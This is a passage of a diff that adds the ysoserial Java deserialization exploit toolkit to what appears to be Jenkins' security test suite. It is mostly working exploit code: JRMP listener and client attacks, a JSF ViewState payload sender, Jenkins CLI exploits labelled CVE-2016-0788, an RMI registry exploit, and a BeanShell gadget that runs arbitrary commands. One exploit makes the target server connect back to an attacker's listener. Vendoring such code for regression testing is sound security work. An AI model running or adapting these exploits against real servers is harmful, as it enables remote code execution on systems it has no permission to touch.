java.util.concurrent.Callable; + +public class Serializer implements Callable { + private final Object object; + public Serializer(Object object) { + this.object = object; + } + + public byte[] call() throws Exception { + return serialize(object); + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java new file mode 100644 index 0000000000..4e26316f26 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java @@ -0,0 +1,50 @@ +package jenkins.security.security218.ysoserial.exploit; + + + +import java.net.URL; + + +/** + * JRMP listener triggering RMI remote classloading + * + * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. + * + * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need + * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. + * + * This only works if + * - the remote end is running with a security manager + * - java.rmi.server.useCodebaseOnly=false (default until 7u21) + * - the remote has the proper permissions to remotely load the class (mostly URLPermission) + * + * and, of course, the payload class is then run under the security manager with a remote codebase + * so either the policy needs to allow whatever you want to do in the payload or you need to combine + * with a security manager bypass exploit (wouldn't be the first time). + * + * @author mbechler + * + */ +public class JRMPClassLoadingListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPClassLoadingListener.class.getName() + " "); + System.exit(-1); + return; + } + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java new file mode 100644 index 0000000000..6e95b3691b --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java @@ -0,0 +1,141 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLClassLoader; +import java.net.UnknownHostException; + +import javax.net.SocketFactory; + +import sun.rmi.transport.TransportConstants; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + + +/** + * Generic JRMP client + * + * Pretty much the same thing as {@link RMIRegistryExploit} but + * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) + * - not deserializing anything (so you don't get yourself exploited ;)) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPClient { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String hostname = args[ 0 ]; + int port = Integer.parseInt(args[ 1 ]); + try { + System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); + makeDGCCall(hostname, port, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + Utils.releasePayload(args[2], payloadObject); + } + + public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { + InetSocketAddress isa = new InetSocketAddress(hostname, port); + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + + private URL sendUrl; + + public MarshalOutputStream (OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + MarshalOutputStream ( OutputStream out ) throws IOException { + super(out); + } + + @Override + protected void annotateClass ( Class cl ) throws IOException { + if ( this.sendUrl != null ) { + writeObject(this.sendUrl.toString()); + } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + writeObject(null); + } + else { + URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); + String cb = ""; + + for ( URL u : us ) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass ( Class cl ) throws IOException { + annotateClass(cl); + } + } + + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java new file mode 100644 index 0000000000..9869a0820c --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java @@ -0,0 +1,316 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectStreamClass; +import java.io.OutputStream; +import java.io.Serializable; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; +import java.util.Arrays; + +import javax.management.BadAttributeValueExpException; +import javax.net.ServerSocketFactory; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import sun.rmi.transport.TransportConstants; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * Generic JRMP listener + * + * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPListener implements Runnable { + + private int port; + private Object payloadObject; + private ServerSocket ss; + private Object waitLock = new Object(); + private boolean exit; + private boolean hadConnection; + private URL classpathUrl; + + + public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public JRMPListener (int port, String className, URL classpathUrl) throws IOException { + this.port = port; + this.payloadObject = makeDummyObject(className); + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + + public boolean waitFor ( int i ) { + try { + if ( this.hadConnection ) { + return true; + } + System.err.println("Waiting for connection"); + synchronized ( this.waitLock ) { + this.waitLock.wait(i); + } + return this.hadConnection; + } + catch ( InterruptedException e ) { + return false; + } + } + + + /** + * + */ + public void close () { + this.exit = true; + try { + this.ss.close(); + } + catch ( IOException e ) {} + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + } + + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPListener.class.getName() + " "); + System.exit(-1); + return; + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, payloadObject); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + Utils.releasePayload(args[1], payloadObject); + } + + + public void run () { + try { + Socket s = null; + try { + while ( !this.exit && ( s = this.ss.accept() ) != null ) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch ( protocol ) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if ( remote.getHostName() != null ) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + catch ( InterruptedException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } + finally { + if ( s != null ) { + s.close(); + } + if ( this.ss != null ) { + this.ss.close(); + } + } + + } + catch ( SocketException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + } + + + private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch ( op ) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID u = UID.read(in); + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + + private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ( "java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } + throw new IOException("Not allowed to read object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } + catch ( java.io.IOException e ) { + throw new MarshalException("unable to read objID", e); + } + + + if ( read.hashCode() == 2 ) { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); + } + + System.err.println("Sending return with payload for obj " + read); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); + + oos.writeByte(TransportConstants.ExceptionalReturn); + new UID().write(oos); + + BadAttributeValueExpException ex = new BadAttributeValueExpException(null); + Reflections.setFieldValue(ex, "val", payload); + oos.writeObject(ex); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized ( this.waitLock ) { + this.waitLock.notifyAll(); + } + } + + protected static Object makeDummyObject (String className) { + try { + ClassLoader isolation = new ClassLoader() {}; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + + public static class Dummy implements Serializable { + private static final long serialVersionUID = 1L; + + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java new file mode 100644 index 0000000000..84b6ca63b5 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java @@ -0,0 +1,80 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLEncoder; + +import org.apache.commons.codec.binary.Base64; + +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + + +/** + * JSF view state exploit + * + * Delivers a gadget payload via JSF ViewState token. + * + * This will only work if ViewState encryption/mac is disabled. + * + * While it has been long known that client side state saving + * with encryption disabled leads to RCE via EL injection, + * this of course also works with deserialization gadgets. + * + * Also, it turns out that MyFaces is vulnerable to this even when + * using server-side state saving + * (yes, please, let's (de-)serialize a String as an Object). + * + * @author mbechler + * + */ +public class JSF { + + public static void main ( String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JSF.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + URL u = new URL(args[ 0 ]); + + URLConnection c = u.openConnection(); + if ( ! ( c instanceof HttpURLConnection ) ) { + throw new IllegalArgumentException("Not a HTTP url"); + } + + HttpURLConnection hc = (HttpURLConnection) c; + hc.setDoOutput(true); + hc.setRequestMethod("POST"); + hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + OutputStream os = hc.getOutputStream(); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(payloadObject); + oos.close(); + byte[] data = bos.toByteArray(); + String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + os.write(requestBody.getBytes("US-ASCII")); + os.close(); + + System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + Utils.releasePayload(args[1], payloadObject); + + } + + + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java new file mode 100644 index 0000000000..0ff47e8257 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java @@ -0,0 +1,124 @@ +package jenkins.security.security218.ysoserial.exploit; + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLConnection; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + +/** + * Jenkins CLI client + * + * Jenkins unfortunately is still using a custom serialization based + * protocol for remote communications only protected by a blacklisting + * application level filter. + * + * This is a generic client delivering a gadget chain payload via that protocol. + * + * @author mbechler + * + */ +public class JenkinsCLI { + public static final void main ( final String[] args ) { + if ( args.length < 3 ) { + System.err.println(JenkinsCLI.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); + + String jenkinsUrl = args[ 0 ]; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + c.call(getPropertyCallable(payloadObject)); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + Utils.releasePayload(args[1], payloadObject); + } + + public static Callable getPropertyCallable ( final Object prop ) + throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { + prop + }); + return (Callable) getJarLoader; + } + + public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { + URL u = new URL(jenkinsUrl); + + URLConnection conn = u.openConnection(); + if ( ! ( conn instanceof HttpURLConnection ) ) { + System.err.println("Not a HTTP URL"); + throw new MalformedURLException(); + } + + HttpURLConnection hc = (HttpURLConnection) conn; + if ( hc.getResponseCode() >= 400 ) { + System.err.println("* Error connection to jenkins HTTP " + u); + } + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + return new InetSocketAddress(u.getHost(), clip); + } + + public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { + System.err.println("* Opening socket " + isa); + Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); + dos.writeUTF("Protocol:CLI-connect"); + ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread ( Runnable r ) { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; + } + }); + Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + System.err.println("* Channel open"); + return c; + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java new file mode 100644 index 0000000000..168d17573c --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java @@ -0,0 +1,215 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.JarLoader; +import sun.rmi.server.Util; +import sun.rmi.transport.TransportConstants; +import jenkins.security.security218.ysoserial.payloads.JRMPListener; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * CVE-2016-0788 exploit (1) + * + * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. + * 2. that payload causes the remote server to open up an JRMP listener (and export an object). + * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. + * + * Extra twist: + * The well-known objects exported by the listener use the system classloader which usually + * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id + * (which is using jenkins' classloader) that typically is properly randomized. + * Fortunately - for the exploiting party - there is also a gadget that allows to leak + * that identifier via an exception. + * + * @author mbechler + */ +@SuppressWarnings ( { + "rawtypes", "restriction" +} ) +public class JenkinsListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + } + + String jenkinsUrl = args[ 0 ]; + int jrmpPort = 12345; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + + Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + InvocationHandler remote = Proxy.getInvocationHandler(call); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); + + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); + + try { + c.call((Callable) o); + } + catch ( Exception e ) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, + // -9046794842107247609]] + + System.err.println(e.getMessage()); + + parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e); + } + + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + + } + + + private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + return reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { + uro, + }); + } + + + private static void parseObjIdAndExploit ( final String[] args, final Class payloadClass, int jrmpPort, + InetSocketAddress isa, Exception e ) throws Exception, IOException { + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if ( start < 0 ) { + throw new Exception("Failed to get object id"); + } + + int sep = msg.indexOf(", ", start + 1); + + if ( sep < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if ( end < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[ 0 ], 16); + long o2 = Long.parseLong(parts[ 1 ], 16); + short o3 = Short.parseShort(parts[ 2 ], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]); + } + + + private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class payloadClass, String payloadArg ) + throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); + final Object object = payload.getObject(payloadArg); + objOut.writeObject(object); + os.flush(); + ObjectPayload.Utils.releasePayload(payload, object); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java new file mode 100644 index 0000000000..99b7fdde4d --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java @@ -0,0 +1,80 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.rmi.registry.Registry; +import java.util.Random; + +import hudson.remoting.Channel; +import jenkins.security.security218.ysoserial.exploit.JRMPListener; +import jenkins.security.security218.ysoserial.payloads.JRMPClient; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + + +/** + * CVE-2016-0788 exploit (2) + * + * - Sets up a local {@link JRMPListener} + * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol + * that will cause the remote to open a JRMP connection to our listener + * - upon connection the specified payload will be delivered to the remote + * (that will deserialize using a default ObjectInputStream) + * + * @author mbechler + * + */ +public class JenkinsReverse { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + + final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String myAddr = args[ 1 ]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[ 0 ]; + + Thread t = null; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); + t = new Thread(listener, "ReverseDGC"); + t.setDaemon(true); + t.start(); + Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); + c.call(JenkinsCLI.getPropertyCallable(payload)); + listener.waitFor(1000); + listener.close(); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( t != null ) { + t.interrupt(); + try { + t.join(); + } + catch ( InterruptedException e ) { + e.printStackTrace(System.err); + } + } + } + Utils.releasePayload(args[2], payloadObject); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java new file mode 100644 index 0000000000..9468a3dc4c --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java @@ -0,0 +1,52 @@ +package jenkins.security.security218.ysoserial.exploit; + +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.util.concurrent.Callable; + +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager; + +/* + * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. + * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. + * + * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote + * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +public class RMIRegistryExploit { + public static void main(final String[] args) throws Exception { + final String host = args[0]; + final int port = Integer.parseInt(args[1]); + final String command = args[3]; + final Registry registry = LocateRegistry.getRegistry(host, port); + final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; + final Class payloadClass = (Class) Class.forName(className); + + // ensure payload doesn't detonate during construction or deserialization + exploit(registry, payloadClass, command); + } + + public static void exploit(final Registry registry, + final Class payloadClass, + final String command) throws Exception { + new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception { + ObjectPayload payloadObj = payloadClass.newInstance(); + Object payload = payloadObj.getObject(command); + String name = "pwned" + System.nanoTime(); + Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); + try { + registry.bind(name, remote); + } catch (Throwable e) { + e.printStackTrace(); + } + Utils.releasePayload(payloadObj, payload); + return null; + }}); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java new file mode 100644 index 0000000000..0086afaa70 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java @@ -0,0 +1,51 @@ +package jenkins.security.security218.ysoserial.payloads; + +import bsh.Interpreter; +import bsh.XThis; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Comparator; +import java.util.PriorityQueue; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({ "org.beanshell:bsh:2.0b5" }) +public class BeanShell1 extends PayloadRunner implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + // BeanShell payload + String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}"; + + // Create Interpreter + Interpreter i = new Interpreter(); + + // Evaluate payload + i.eval(payload); + + // Create InvocationHandler + XThis xt = new XThis(i.getNameSpace(), i); + InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); + + // Create Comparator Proxy + Comparator 